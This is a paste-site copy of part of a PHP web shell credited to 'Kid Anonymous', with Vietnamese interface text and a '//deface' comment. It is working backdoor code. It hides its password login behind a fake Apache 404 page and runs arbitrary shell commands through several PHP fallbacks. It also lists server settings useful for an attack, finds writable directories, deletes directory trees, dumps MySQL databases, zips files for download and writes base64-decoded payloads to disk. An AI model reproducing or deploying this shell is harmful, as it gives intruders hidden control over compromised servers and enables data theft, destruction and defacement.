- $info = array(1 => array('Server Time', date('Y/m/d h:i:s', $timestamp)), 2 => array('Server Domain', $_SERVER['SERVER_NAME']), 3 => array('Server IP', gethostbyname($_SERVER['SERVER_NAME'])), 4 => array('Server OS', PHP_OS), 5 => array('Server OS Charset', $_SERVER['HTTP_ACCEPT_LANGUAGE']), 6 => array('Server Software', $_SERVER['SERVER_SOFTWARE']), 7 => array('Server Web Port', $_SERVER['SERVER_PORT']), 8 => array('PHP run mode', strtoupper(php_sapi_name())), 9 => array('The file path', 'index.php'), 10 => array('PHP Version', PHP_VERSION), 11 => array('PHPINFO', (IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')), 12 => array('Safe Mode', getcfg('safe_mode')), 13 => array('Administrator', $adminmail), 14 => array('allow_url_fopen', getcfg('allow_url_fopen')), 15 => array('enable_dl', getcfg('enable_dl')), 16 => array('display_errors', getcfg('display_errors')), 17 => array('register_globals', getcfg('register_globals')), 18 => array('magic_quotes_gpc', getcfg('magic_quotes_gpc')), 19 => array('memory_limit', getcfg('memory_limit')), 20 => array('post_max_size', getcfg('post_max_size')), 21 => array('upload_max_filesize', $upsize), 22 => array('max_execution_time', getcfg('max_execution_time') . ' second(s)'), 23 => array('disable_functions', $dis_func),);
- if ($phpvarname) {
- m($phpvarname . ' : ' . getcfg($phpvarname));
- }
- formhead(array('title' => 'Server environment'));
- makehide('action', 'phpenv');
- makeinput(array('title' => 'Please input PHP configuration parameter(eg:magic_quotes_gpc)', 'name' => 'phpvarname', 'value' => $phpvarname, 'newline' => 1));
- formfooter();
- $hp = array(0 => 'Server', 1 => 'PHP');
- for ($a = 0;$a < 2;$a++) {
- p('<h2>' . $hp[$a] . ' »</h2>');
- p('<ul class="info">');
- if ($a == 0) {
- for ($i = 1;$i <= 9;$i++) {
- p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
- }
- } elseif ($a == 1) {
- for ($i = 10;$i <= 23;$i++) {
- p('<li><u>' . $info[$i][0] . ':</u>' . $info[$i][1] . '</li>');
- }
- }
- p('</ul>');
- }
- } //end phpenv
- else {
- m('Chưa Có Hành Động Nào');
- }
- ?>
- </td></tr></table>
- <div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
- <span style="float:right;"><?php debuginfo();
- ob_end_flush(); ?></span>
- Develop by <a href=# target=_blank><B>Kid Anonymous </B></a>- All Rights Reserved.</div>
- </body>
- </html>
- <?php
- /*======================================================
- Show info shell
- ======================================================*/
- function m($msg) {
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
- echo $msg;
- echo '</div>';
- }
- function scookie($key, $value, $life = 0, $prefix = 1) {
- global $admin, $timestamp, $_SERVER;
- $key = ($prefix ? $admin['cookiepre'] : '') . $key;
- $life = $life ? $life : $admin['cookielife'];
- $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
- setcookie($key, $value, $timestamp + $life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
- }
- function multi($num, $perpage, $curpage, $tablename) {
- $multipage = '';
- if ($num > $perpage) {
- $page = 10;
- $offset = 5;
- $pages = @ceil($num / $perpage);
- if ($page > $pages) {
- $from = 1;
- $to = $pages;
- } else {
- $from = $curpage - $offset;
- $to = $curpage + $page - $offset - 1;
- if ($from < 1) {
- $to = $curpage + 1 - $from;
- $from = 1;
- if (($to - $from) < $page && ($to - $from) < $pages) {
- $to = $page;
- }
- } elseif ($to > $pages) {
- $from = $curpage - $pages + $to;
- $to = $pages;
- if (($to - $from) < $page && ($to - $from) < $pages) {
- $from = $pages - $page + 1;
- }
- }
- }
- $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', 1);">First</a> ' : '') . ($curpage > 1 ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage - 1) . ');">Prev</a> ' : '');
- for ($i = $from;$i <= $to;$i++) {
- $multipage.= $i == $curpage ? $i . ' ' : '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $i . ');">[' . $i . ']</a> ';
- }
- $multipage.= ($curpage < $pages ? '<a href="javascript:settable(\'' . $tablename . '\', \'\', ' . ($curpage + 1) . ');">Next</a>' : '') . ($to < $pages ? ' <a href="javascript:settable(\'' . $tablename . '\', \'\', ' . $pages . ');">Last</a>' : '');
- $multipage = $multipage ? '<p>Pages: ' . $multipage . '</p>' : '';
- }
- return $multipage;
- }
- // Login page
- function loginpage() {
- ?>
- <html>
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>404 Not Found</title>
- <style type="text/css">
- A:link {text-decoration: none; color: green }
- A:visited {text-decoration: none;color:red}
- A:active {text-decoration: none}
- A:hover {text-decoration: underline; color: green;}
- input, textarea, button
- {
- font-size: 11pt;
- color: #FFFFFF;
- font-family: verdana, sans-serif;
- background-color: #FFFFFF;
- border-left: 2px dashed #FFFFFF;
- border-top: 2px dashed #FFFFFF;
- border-right: 2px dashed #FFFFFF;
- border-bottom: 2px dashed #FFFFFF;
- }
- <style type="text/css">
- A:link {text-decoration: none; color: green }
- A:visited {text-decoration: none;color:red}
- A:active {text-decoration: none}
- A:hover {text-decoration: underline; color: green;}
- input, textarea, button
- {
- font-size: 11pt;
- color: #FFFFFF;
- font-family: verdana, sans-serif;
- background-color: #ffffff;
- border-left: 2px dashed #FFFFFF;
- border-top: 2px dashed #FFFFFF;
- border-right: 2px dashed #FFFFFF;
- border-bottom: 2px dashed #FFFFFF;
- outline:none;
- }
- </style>
- <h1>Not Found</h1>
- <p>The requested URL <?=$_SERVER['REQUEST_URI'] ?> was not found on this server.</p>
- <p>Additionally, a 404 Not Found
- error was encountered while trying to use an ErrorDocument to handle the request.</p>
- <hr>
- <address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8e-fips-rhel5 mod_qos/9.74 mod_bwlimited/1.4 Server at <?=$_SERVER['SERVER_NAME'] ?> Port 80</address>
- <div align="center">
- <div>
- <form method="POST" action="">
- <input name="password" type="password">
- <input type="hidden" name="doing" value="login">
- <input type="submit" value="">
- </form>
- <br>
- </font></div>
- </font></div>
- <BR>
- <?php
- echo "" . $err_mess . "";
- ?>
- </div>
- </fieldset>
- </head>
- </html>
- <?php
- exit;
- } //end loginpage()
- function execute($cfe) {
- $res = '';
- if ($cfe) {
- if (function_exists('exec')) {
- @exec($cfe, $res);
- $res = join("\n", $res);
- } elseif (function_exists('shell_exec')) {
- $res = @shell_exec($cfe);
- } elseif (function_exists('system')) {
- @ob_start();
- @system($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif (function_exists('passthru')) {
- @ob_start();
- @passthru($cfe);
- $res = @ob_get_contents();
- @ob_end_clean();
- } elseif (@is_resource($f = @popen($cfe, "r"))) {
- $res = '';
- while (!@feof($f)) {
- $res.= @fread($f, 1024);
- }
- @pclose($f);
- }
- }
- return $res;
- }
- function which($pr) {
- $path = execute("which $pr");
- return ($path ? $path : $pr);
- }
- function cf($fname, $text) {
- if ($fp = @fopen($fname, 'w')) {
- @fputs($fp, base64_decode($text));
- @fclose($fp);
- }
- }
- // Debug
- function debuginfo() {
- global $starttime;
- $mtime = explode(' ', microtime());
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
- echo 'Processed in ' . $totaltime . ' second(s)';
- }
- // Function connect database
- function dbconn($dbhost, $dbuser, $dbpass, $dbname = '', $charset = '', $dbport = '3306') {
- if (!$link = @mysql_connect($dbhost . ':' . $dbport, $dbuser, $dbpass)) {
- p('<h2>Can not connect to MySQL server</h2>');
- exit;
- }
- if ($link && $dbname) {
- if (!@mysql_select_db($dbname, $link)) {
- p('<h2>Database selected has error</h2>');
- exit;
- }
- }
- if ($link && mysql_get_server_info() > '4.1') {
- if (in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
- }
- }
- return $link;
- }
- // Array strip
- function s_array(&$array) {
- if (is_array($array)) {
- foreach ($array as $k => $v) {
- $array[$k] = s_array($v);
- }
- } else if (is_string($array)) {
- $array = stripslashes($array);
- }
- return $array;
- }
- // HTML Strip
- function html_clean($content) {
- $content = htmlspecialchars($content);
- $content = str_replace("\n", "<br />", $content);
- $content = str_replace(" ", " ", $content);
- $content = str_replace("\t", " ", $content);
- return $content;
- }
- // Chmod
- function getChmod($filepath) {
- return substr(base_convert(@fileperms($filepath), 10, 8), -4);
- }
- function getPerms($filepath) {
- $mode = @fileperms($filepath);
- if (($mode & 0xC000) === 0xC000) {
- $type = 's';
- } elseif (($mode & 0x4000) === 0x4000) {
- $type = 'd';
- } elseif (($mode & 0xA000) === 0xA000) {
- $type = 'l';
- } elseif (($mode & 0x8000) === 0x8000) {
- $type = '-';
- } elseif (($mode & 0x6000) === 0x6000) {
- $type = 'b';
- } elseif (($mode & 0x2000) === 0x2000) {
- $type = 'c';
- } elseif (($mode & 0x1000) === 0x1000) {
- $type = 'p';
- } else {
- $type = '?';
- }
- $owner['read'] = ($mode & 00400) ? 'r' : '-';
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
- $owner['execute'] = ($mode & 00100) ? 'x' : '-';
- $group['read'] = ($mode & 00040) ? 'r' : '-';
- $group['write'] = ($mode & 00020) ? 'w' : '-';
- $group['execute'] = ($mode & 00010) ? 'x' : '-';
- $world['read'] = ($mode & 00004) ? 'r' : '-';
- $world['write'] = ($mode & 00002) ? 'w' : '-';
- $world['execute'] = ($mode & 00001) ? 'x' : '-';
- if ($mode & 0x800) {
- $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
- }
- if ($mode & 0x400) {
- $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
- }
- if ($mode & 0x200) {
- $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
- }
- return $type . $owner['read'] . $owner['write'] . $owner['execute'] . $group['read'] . $group['write'] . $group['execute'] . $world['read'] . $world['write'] . $world['execute'];
- }
- function getUser($filepath) {
- if (function_exists('posix_getpwuid')) {
- $array = @posix_getpwuid(@fileowner($filepath));
- if ($array && is_array($array)) {
- return ' / <a href="#" title="User: ' . $array['name'] . '
Passwd: ' . $array['passwd'] . '
Uid: ' . $array['uid'] . '
gid: ' . $array['gid'] . '
Gecos: ' . $array['gecos'] . '
Dir: ' . $array['dir'] . '
Shell: ' . $array['shell'] . '">' . $array['name'] . '</a>';
- }
- }
- return '';
- }
- // Delete dir
- function deltree($deldir) {
- $mydir = @dir($deldir);
- while ($file = $mydir->read()) {
- if ((is_dir($deldir . '/' . $file)) && ($file != '.') && ($file != '..')) {
- @chmod($deldir . '/' . $file, 0777);
- deltree($deldir . '/' . $file);
- }
- if (is_file($deldir . '/' . $file)) {
- @chmod($deldir . '/' . $file, 0777);
- @unlink($deldir . '/' . $file);
- }
- }
- $mydir->close();
- @chmod($deldir, 0777);
- return @rmdir($deldir) ? 1 : 0;
- }
- // Background
- function bg() {
- global $bgc;
- return ($bgc++ % 2 == 0) ? 'alt1' : 'alt2';
- }
- // Get path
- function getPath($scriptpath, $nowpath) {
- if ($nowpath == '.') {
- $nowpath = $scriptpath;
- }
- $nowpath = str_replace('\\', '/', $nowpath);
- $nowpath = str_replace('//', '/', $nowpath);
- if (substr($nowpath, -1) != '/') {
- $nowpath = $nowpath . '/';
- }
- return $nowpath;
- }
- // Get up path
- function getUpPath($nowpath) {
- $pathdb = explode('/', $nowpath);
- $num = count($pathdb);
- if ($num > 2) {
- unset($pathdb[$num - 1], $pathdb[$num - 2]);
- }
- $uppath = implode('/', $pathdb) . '/';
- $uppath = str_replace('//', '/', $uppath);
- return $uppath;
- }
- // Config
- function getcfg($varname) {
- $result = get_cfg_var($varname);
- if ($result == 0) {
- return 'No';
- } elseif ($result == 1) {
- return 'Yes';
- } else {
- return $result;
- }
- }
- // Function name
- function getfun($funName) {
- return (false !== function_exists($funName)) ? 'Yes' : 'No';
- }
- function GetList($dir) {
- global $dirdata, $j, $nowpath;
- !$j && $j = 1;
- if ($dh = opendir($dir)) {
- while ($file = readdir($dh)) {
- $f = str_replace('//', '/', $dir . '/' . $file);
- if ($file != '.' && $file != '..' && is_dir($f)) {
- if (is_writable($f)) {
- $dirdata[$j]['filename'] = str_replace($nowpath, '', $f);
- $dirdata[$j]['mtime'] = @date('Y-m-d H:i:s', filemtime($f));
- $dirdata[$j]['dirchmod'] = getChmod($f);
- $dirdata[$j]['dirperm'] = getPerms($f);
- $dirdata[$j]['dirlink'] = ue($dir);
- $dirdata[$j]['server_link'] = $f;
- $dirdata[$j]['client_link'] = ue($f);
- $j++;
- }
- GetList($f);
- }
- }
- closedir($dh);
- clearstatcache();
- return $dirdata;
- } else {
- return array();
- }
- }
- function qy($sql) {
- //echo $sql.'<br>';
- $res = $error = '';
- if (!$res = @mysql_query($sql)) {
- return 0;
- } else if (is_resource($res)) {
- return 1;
- } else {
- return 2;
- }
- return 0;
- }
- function q($sql) {
- return @mysql_query($sql);
- }
- function fr($qy) {
- mysql_free_result($qy);
- }
- function sizecount($size) {
- if ($size > 1073741824) {
- $size = round($size / 1073741824 * 100) / 100 . ' G';
- } elseif ($size > 1048576) {
- $size = round($size / 1048576 * 100) / 100 . ' M';
- } elseif ($size > 1024) {
- $size = round($size / 1024 * 100) / 100 . ' K';
- } else {
- $size = $size . ' B';
- }
- return $size;
- }
- // Zip
- class PHPZip {
- var $out = '';
- function PHPZip($dir) {
- if (@function_exists('gzcompress')) {
- $curdir = getcwd();
- if (is_array($dir)) $filelist = $dir;
- else {
- $filelist = $this->GetFileList($dir); //File list
- foreach ($filelist as $k => $v) $filelist[] = substr($v, strlen($dir) + 1);
- }
- if ((!empty($dir)) && (!is_array($dir)) && (file_exists($dir))) chdir($dir);
- else chdir($curdir);
- if (count($filelist) > 0) {
- foreach ($filelist as $filename) {
- if (is_file($filename)) {
- $fd = fopen($filename, 'r');
- $content = @fread($fd, filesize($filename));
- fclose($fd);
- if (is_array($dir)) $filename = basename($filename);
- $this->addFile($content, $filename);
- }
- }
- $this->out = $this->file();
- chdir($curdir);
- }
- return 1;
- } else return 0;
- }
- // Show file list
- function GetFileList($dir) {
- static $a;
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while ($file = readdir($dh)) {
- if ($file != '.' && $file != '..') {
- $f = $dir . '/' . $file;
- if (is_dir($f)) $this->GetFileList($f);
- $a[] = $f;
- }
- }
- closedir($dh);
- }
- }
- return $a;
- }
- var $datasec = array();
- var $ctrl_dir = array();
- var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
- var $old_offset = 0;
- function unix2DosTime($unixtime = 0) {
- $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
- if ($timearray['year'] < 1980) {
- $timearray['year'] = 1980;
- $timearray['mon'] = 1;
- $timearray['mday'] = 1;
- $timearray['hours'] = 0;
- $timearray['minutes'] = 0;
- $timearray['seconds'] = 0;
- } // end if
- return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
- }
- function addFile($data, $name, $time = 0) {
- $name = str_replace('\\', '/', $name);
- $dtime = dechex($this->unix2DosTime($time));
- $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
- eval('$hexdtime = "' . $hexdtime . '";');
- $fr = "\x50\x4b\x03\x04";
- $fr.= "\x14\x00";
- $fr.= "\x00\x00";
- $fr.= "\x08\x00";
- $fr.= $hexdtime;
- $unc_len = strlen($data);
- $crc = crc32($data);
- $zdata = gzcompress($data);
- $c_len = strlen($zdata);
- $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
- $fr.= pack('V', $crc);
- $fr.= pack('V', $c_len);
- $fr.= pack('V', $unc_len);
- $fr.= pack('v', strlen($name));
- $fr.= pack('v', 0);
- $fr.= $name;
- $fr.= $zdata;
- $fr.= pack('V', $crc);
- $fr.= pack('V', $c_len);
- $fr.= pack('V', $unc_len);
- $this->datasec[] = $fr;
- $new_offset = strlen(implode('', $this->datasec));
- $cdrec = "\x50\x4b\x01\x02";
- $cdrec.= "\x00\x00";
- $cdrec.= "\x14\x00";
- $cdrec.= "\x00\x00";
- $cdrec.= "\x08\x00";
- $cdrec.= $hexdtime;
- $cdrec.= pack('V', $crc);
- $cdrec.= pack('V', $c_len);
- $cdrec.= pack('V', $unc_len);
- $cdrec.= pack('v', strlen($name));
- $cdrec.= pack('v', 0);
- $cdrec.= pack('v', 0);
- $cdrec.= pack('v', 0);
- $cdrec.= pack('v', 0);
- $cdrec.= pack('V', 32);
- $cdrec.= pack('V', $this->old_offset);
- $this->old_offset = $new_offset;
- $cdrec.= $name;
- $this->ctrl_dir[] = $cdrec;
- }
- function file() {
- $data = implode('', $this->datasec);
- $ctrldir = implode('', $this->ctrl_dir);
- return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
- }
- }
- // Dump mysql
- function sqldumptable($table, $fp = 0) {
- $tabledump = "DROP TABLE IF EXISTS $table;\n";
- $tabledump.= "CREATE TABLE $table (\n";
- $firstfield = 1;
- $fields = q("SHOW FIELDS FROM $table");
- while ($field = mysql_fetch_array($fields)) {
- if (!$firstfield) {
- $tabledump.= ",\n";
- } else {
- $firstfield = 0;
- }
- $tabledump.= " $field[Field] $field[Type]";
- if (!empty($field["Default"])) {
- $tabledump.= " DEFAULT '$field[Default]'";
- }
- if ($field['Null'] != "YES") {
- $tabledump.= " NOT NULL";
- }
- if ($field['Extra'] != "") {
- $tabledump.= " $field[Extra]";
- }
- }
- fr($fields);
- $keys = q("SHOW KEYS FROM $table");
- while ($key = mysql_fetch_array($keys)) {
- $kname = $key['Key_name'];
- if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
- $kname = "UNIQUE|$kname";
- }
- if (!is_array($index[$kname])) {
- $index[$kname] = array();
- }
- $index[$kname][] = $key['Column_name'];
- }
- fr($keys);
- while (list($kname, $columns) = @each($index)) {
- $tabledump.= ",\n";
- $colnames = implode($columns, ",");
- if ($kname == "PRIMARY") {
- $tabledump.= " PRIMARY KEY ($colnames)";
- } else {
- if (substr($kname, 0, 6) == "UNIQUE") {
- $kname = substr($kname, 7);
- }
- $tabledump.= " KEY $kname ($colnames)";
- }
- }
- $tabledump.= "\n);\n\n";
- if ($fp) {
- fwrite($fp, $tabledump);
- } else {
- echo $tabledump;
- }
- $rows = q("SELECT * FROM $table");
- $numfields = mysql_num_fields($rows);
- while ($row = mysql_fetch_array($rows)) {
- $tabledump = "INSERT INTO $table VALUES(";
- $fieldcounter = - 1;
- $firstfield = 1;
- while (++$fieldcounter < $numfields) {
- if (!$firstfield) {
- $tabledump.= ", ";
- } else {
- $firstfield = 0;
- }
- if (!isset($row[$fieldcounter])) {
- $tabledump.= "NULL";
- } else {
- $tabledump.= "'" . mysql_escape_string($row[$fieldcounter]) . "'";
- }
- }
- $tabledump.= ");\n";
- if ($fp) {
- fwrite($fp, $tabledump);
- } else {
- echo $tabledump;
- }
- }
- fr($rows);
- if ($fp) {
- fwrite($fp, "\n");
- } else {
- echo "\n";
- }
- }
- function ue($str) {
- return urlencode($str);
- }
- function p($str) {
- echo $str . "\n";
- }
- function tbhead() {
- p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
- }
- function tbfoot() {
- p('</table>');
- }
- function makehide($name, $value = '') {
- p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
- }
- function makeinput($arg = array()) {
- $arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
- $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
- !$arg['type'] && $arg['type'] = 'text';
- $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
- $arg['class'] = $arg['class'] ? $arg['class'] : 'input';
- if ($arg['newline']) {
- p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
- } else {
- p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
- }
- }
- function makeselect($arg = array()) {
- if ($arg['onchange']) {
- $onchange = 'onchange="' . $arg['onchange'] . '"';
- }
- $arg['title'] = $arg['title'] ? $arg['title'] : '';
- if ($arg['newline']) p('<p>');
- p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
- if (is_array($arg['option'])) {
- foreach ($arg['option'] as $key => $value) {
- if ($arg['selected'] == $key) {
- p("<option value=\"$key\" selected>$value</option>");
- } else {
- p("<option value=\"$key\">$value</option>");
- }
- }
- }
- p("</select>");
- if ($arg['newline']) p('</p>');
- }
- function formhead($arg = array()) {
- !$arg['method'] && $arg['method'] = 'post';
- !$arg['action'] && $arg['action'] = $self;
- $arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
- !$arg['name'] && $arg['name'] = 'form1';
- p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
- if ($arg['title']) {
- p('<h2>' . $arg['title'] . ' »</h2>');
- }
- }
- function maketext($arg = array()) {
- !$arg['cols'] && $arg['cols'] = 100;
- !$arg['rows'] && $arg['rows'] = 25;
- $arg['title'] = $arg['title'] ? $arg['title'] . '<br />' : '';
- p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
- }
- function formfooter($name = '') {
- !$name && $name = 'submit';
- p('<p><input class="bt" name="' . $name . '" id=\"' . $name . '\" type="submit" value="Submit"></p>');
- p('</form>');
- }
- function formfoot() {
- p('</form>');
- }
- // Exit
- function pr($a) {
- echo '<pre>';
- print_r($a);
- echo '</pre>';
- }
- //deface
- ?>
Add Comment
Please, Sign In to add comment